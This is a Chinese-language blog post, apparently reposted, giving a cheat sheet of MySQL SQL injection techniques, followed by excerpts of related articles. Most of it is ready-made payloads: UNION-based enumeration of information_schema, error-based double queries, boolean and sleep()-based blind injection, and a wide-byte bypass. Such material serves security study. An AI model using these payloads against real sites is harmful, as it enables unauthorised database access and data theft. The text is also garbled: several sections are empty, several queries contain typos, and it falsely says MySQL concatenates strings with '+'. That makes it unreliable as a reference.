sql注入必備知識

2021-08-18 18:25:19 字數 4227 閱讀 8875

原文:

mysql常用注釋

mysql認證繞過

mysql連線符

mysql中使用+來進行連線。

select * from users where username='zhangsan' and "ab"="a"+"b";
mysql中常見函式

在進行sql注入過程中,會使用到mysql中的內建函式。在內建函式中,又分為獲取資訊的函式和功能函式。

資訊函式是用來獲取mysql中的資料庫的資訊,功能函式就是傳統的函式用來完成某項操作。

常用的資訊函式有:

常見的功能函式有:

以上就是在進行sql注入工程中常用的函式。當然還存在一些使用的不是很多的函式。

mysql資料庫元資訊

在mysql中存在information_schema是乙個資訊資料庫,在這個資料庫中儲存了mysql伺服器所儲存的所有的其他資料庫的資訊,如資料庫名,資料庫的表,表的欄位名稱

和訪問許可權。在informa_schema中常用的表有:

下面就是利用以上的3個表來獲取資料庫的資訊。

select database(); #查選資料庫

select schema_name from information_schema.schemata limit 0,1 #查詢資料庫

select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表

select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列

sql注入型別大致可以分為常規的sql注入和sql盲注。sql盲注又可以分為基於時間的盲注和基於網頁內容的盲注。

sql注入型別

關於sql的盲注,網上也有很多的說明,這裡也不做過多的解釋。關於盲注的概念,有具體的例子就方便進行說明。

延時注入中,常用的函式就包括了if()和sleep()函式。基本的sql表示式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);

select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

寬位元組注入

關於寬位元組注入,可以參考寬位元組注入詳解。寬位元組輸入一般是由於網頁編碼與資料庫的編碼不匹配造成的。對於寬位元組注入,使用%d5%df繞過

mysql常用語句總結

注入基本操作:

常規注入

1' order by num #        確定字段長度

1' union select 1,2,3 # 確定字段長度

-1' union select 1,2,3 # 判斷頁面中顯示的字段

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的資料庫

-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #

-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #

-1' union select 1,2,3 and '1'='1 在注釋符無法使用的情況下

雙重sql查選

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;

select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用於sql的盲注。得到資料庫的資訊

select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到資料庫的表的資訊

#利用姿勢如下:

1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

這種利用姿勢是通過mysql執行sql命令時的報錯資訊來得到所需要的資訊的,在接下來的文章中會對這種寫法進行詳細地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99

1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根據sql語句執行返回值是true或false對應的頁面內容會發生,來得到資訊。

time盲注

1' and select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +

1' and select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2種寫法都是等價的,time盲注餘常規的sql注入方法不同。time盲注需要一般需要使用到if()和sleep()函式。然後根據頁面返回內容的長度,進而知道sleep()函式是否有執行。

根據sleep()函式是否執行來得到所需的資訊。

總結以上所有的知識點都是在sql注入中最常用到也是最基礎的知識點。對於乙個需要精通sql語句的web安全工程師來說,上面的知識是必須要掌握的。上面的知識也是學習sql注入最基本的知識。接下來的文章將會通過例項詳細地講解sql注入中的知識,今天的這篇文章也主要是作為乙個基礎知識。

sql注入準備知識

這篇文章會介紹一些sql注入的準備知識,都是基於mysql資料庫的 sql語言是什麼 一種功能極強的關聯式資料庫標準語言,不需要定義如何訪問資料庫,只需要告訴資料庫要做什麼 sql語言的主要功能 基本資料庫資訊 操作查詢出的資料函式 我初期學習的時候一直感到疑惑的語句,在這裡記錄一下 select ...

sql注入的知識筆記

ps hackbar竟然要付費emmmm,直接又去找了老的2.1.3裝上 一些基礎知識 待補充 order by x x為數字 以第x列的資料為基準進行排序,若不存在該列則報錯 用途 sql注入中常用來判斷表長 2.union select 找到回顯示點 關於原理可以參考 3.information...

SQL注入基礎知識

在owasp年度top 10 安全問題中,sql注入高居榜首。sql注入攻擊指的是通過構建特殊的輸入作為引數傳入web應用程式,而這些輸入大都是sql語法裡的一些組合,通過執行sql語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。1.對於web應用...